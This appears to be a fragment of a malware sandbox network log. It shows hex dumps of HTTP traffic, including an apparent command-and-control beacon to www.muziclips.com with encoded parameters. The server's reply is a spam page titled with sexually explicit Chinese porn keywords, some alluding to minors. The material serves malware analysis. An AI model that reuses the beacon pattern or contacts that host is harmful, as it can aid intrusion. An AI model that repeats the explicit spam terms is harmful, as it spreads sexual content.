2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6c 65 2d 69 63 6f 6e 2d 35 37 78 35 37 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 36 30 78 36 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6c 65 2d 69 63 6f 6e 2d 36 30 78 36 30 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 32 78 37 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6c 65 2d 69 63 6f 6e 2d 37 32 78 37 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6c 65 2d 69 63 6f 6e 2d 37 36 78 37 36 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 31 34 78 31 31 34 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6c 65 2d 69 63 6f 6e 2d 31 31 34 78 31 31 34 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6c 65 2d 69 63 6f 6e 2d 31 32 30 78 31 32 30 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 34 34 78 31 34 34 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6c 65 2d 69 63 6f 6e 2d 31 34 34 78 31 34 34 2e 70 6e 67 22 3e 0a 09 3c 6c Data Ascii: 5702<html><head><base href="/"><meta charset="utf-8"><title>ACTIVE 24, s.r.o.</title><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="Keywords" content=""><meta name="Description" content="ACTIVE 24, s.r.o."><meta name="Author" content="ACTIVE 24, s.r.o."><meta name="Owner" content="ACTIVE 24, s.r.o. ">... favicon start --><link rel="apple-touch-icon" sizes="57x57" href="https://gui.active24.cz/img/icon/apple-icon-57x57.png"><link rel="apple-touch-icon" sizes="60x60" href="https://gui.active24.cz/img/icon/apple-icon-60x60.png"><link rel="apple-touch-icon" sizes="72x72" href="https://gui.active24.cz/img/icon/apple-icon-72x72.png"><link rel="apple-touch-icon" sizes="76x76" href="https://gui.active24.cz/img/icon/apple-icon-76x76.png"><link rel="apple-touch-icon" sizes="114x114" href="https://gui.active24.cz/img/icon/apple-icon-114x114.png"><link rel="apple-touch-icon" sizes="120x120" href="https://gui.active24.cz/img/icon/apple-icon-120x120.png"><link rel="apple-touch-icon" sizes="144x144" href="https://gui.active24.cz/img/icon/apple-icon-144x144.png"><l

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:44:52.715929031 CEST	519	OUT	GET /tuid/?m4bd=gaITN7i6/i636J8ZdAepXbFiroAuKTRwrMdc4y4CfBKs7kJVyv+3PWgk2/xmwUEu5s/a&M8s=w86DJpgx5FYlUfRP HTTP/1.1 Host: www.muziclips.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:44:52.952666998 CEST	563	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 08 Aug 2022 15:44:43 GMT Content-Type: text/html Content-Length: 1578 Connection: close Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 3d 27 d6 dc bf da c6 c1 bf c2 b9 e3 b8 e6 b4 ab c3 bd d3 d0 cf de b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 74 69 74 6c 65 3e 26 23 32 33 35 36 37 3b 26 23 32 30 31 38 35 3b 26 23 32 32 38 39 39 3b 26 23 32 34 33 32 30 3b 26 23 32 36 37 32 33 3b 26 23 31 30 36 3b 26 23 31 30 37 3b 26 23 33 33 32 35 38 3b 26 23 32 34 39 34 34 3b 2c 26 23 32 37 34 33 31 3b 26 23 33 32 36 35 34 3b 26 23 33 30 37 37 32 3b 26 23 33 33 35 30 32 3b 26 23 32 37 39 36 39 3b 26 23 33 34 38 38 30 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 36 34 39 37 3b 26 23 32 31 36 39 37 3b 26 23 33 33 38 30 34 3b 26 23 33 30 33 33 33 3b 26 23 33 37 32 33 33 3b 26 23 32 36 30 37 31 3b 26 23 33 34 39 35 37 3b 2c 26 23 34 39 3b 26 23 35 36 3b 26 23 33 31 31 30 35 3b 26 23 32 32 38 39 39 3b 26 23 32 33 33 37 36 3b 26 23 33 35 30 36 34 3b 26 23 32 30 33 30 37 3b 26 23 33 38 37 30 36 3b 26 23 33 31 31 36 39 3b 26 23 32 33 34 39 34 3b 26 23 33 32 35 39 33 3b 26 23 33 31 34 34 39 3b 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 33 35 36 37 3b 26 23 32 30 31 38 35 3b 26 23 32 32 38 39 39 3b 26 23 32 34 33 32 30 3b 26 23 32 36 37 32 33 3b 26 23 31 30 36 3b 26 23 31 30 37 3b 26 23 33 33 32 35 38 3b 26 23 32 34 39 34 34 3b 2c 26 23 32 37 34 33 31 3b 26 23 33 32 36 35 34 3b 26 23 33 30 37 37 32 3b 26 23 33 33 35 30 32 3b 26 23 32 37 39 36 39 3b 26 23 33 34 38 38 30 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 36 34 39 37 3b 26 23 32 31 36 39 37 3b 26 23 33 33 38 30 34 3b 26 23 33 30 33 33 33 3b 26 23 33 37 32 33 33 3b 26 23 32 36 30 37 31 3b 26 23 33 34 39 35 37 3b 2c 26 23 34 39 3b 26 23 35 36 3b 26 23 33 31 31 30 35 3b 26 23 32 32 38 39 39 3b 26 23 32 33 33 37 36 3b 26 23 33 35 30 36 34 3b 26 23 32 30 33 30 37 3b 26 23 33 38 37 30 36 3b 26 23 33 31 31 36 39 3b 26 23 32 33 34 39 34 3b 26 23 33 32 35 39 33 3b 26 23 33 31 34 34 39 3b 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 37 34 33 31 3b 26 23 33 32 36 35 34 3b 26 23 33 30 37 37 32 3b 26 23 33 33 35 30 32 3b 26 23 32 37 39 36 39 3b 26 23 33 34 38 38 30 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 36 34 39 37 3b 26 23 32 31 36 39 37 3b 26 23 33 33 38 30 34 3b 26 23 33 30 33 33 33 3b 26 23 33 37 32 33 33 3b 26 23 32 36 30 37 31 3b 26 23 33 34 39 35 37 3b 2c 26 23 34 39 3b 26 23 35 36 3b 26 23 33 31 31 30 35 3b 26 23 32 32 38 39 39 3b 26 23 32 33 33 37 36 3b 26 23 33 35 30 36 34 3b 26 23 32 30 33 30 37 3b 26 23 33 38 37 30 36 3b 26 23 33 31 31 36 39 3b 26 23 32 33 34 39 34 3b 26 23 33 32 35 39 33 3b 26 23 33 31 34 34 39 3b 2c 26 23 32 33 35 36 37 3b 26 23 32 30 31 38 35 3b 26 23 32 32 38 39 39 3b 26 23 32 34 33 32 30 3b 26 23 32 36 37 32 33 3b 26 23 31 30 36 3b 26 23 31 30 37 3b 26 23 33 33 32 35 38 3b 26 23 32 34 39 34 34 3b 2c 26 23 32 30 30 33 37 3b 26 23 32 30 30 36 31 3b 26 23 32 38 39 30 39 3b 26 23 35 37 3b 26 23 35 37 3b 26 23 31 31 34 3b 26 23 31 30 31 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 2c 26 23 32 30 31 Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><script>document.title='';</script><title>小仙女开档jk自慰,欧美破苞流血在线视频,极品萌白酱旗袍,18禁女子裸体露私密网站</title><meta name="keywords" content="小仙女开档jk自慰,欧美破苞流血在线视频,极品萌白酱旗袍,18禁女子裸体露私密网站" /><meta name="description" content="欧美破苞流血在线视频,极品萌白酱旗袍,18禁女子裸体露私密网站,小仙女开档jk自慰,久九热99re视频在线,&#201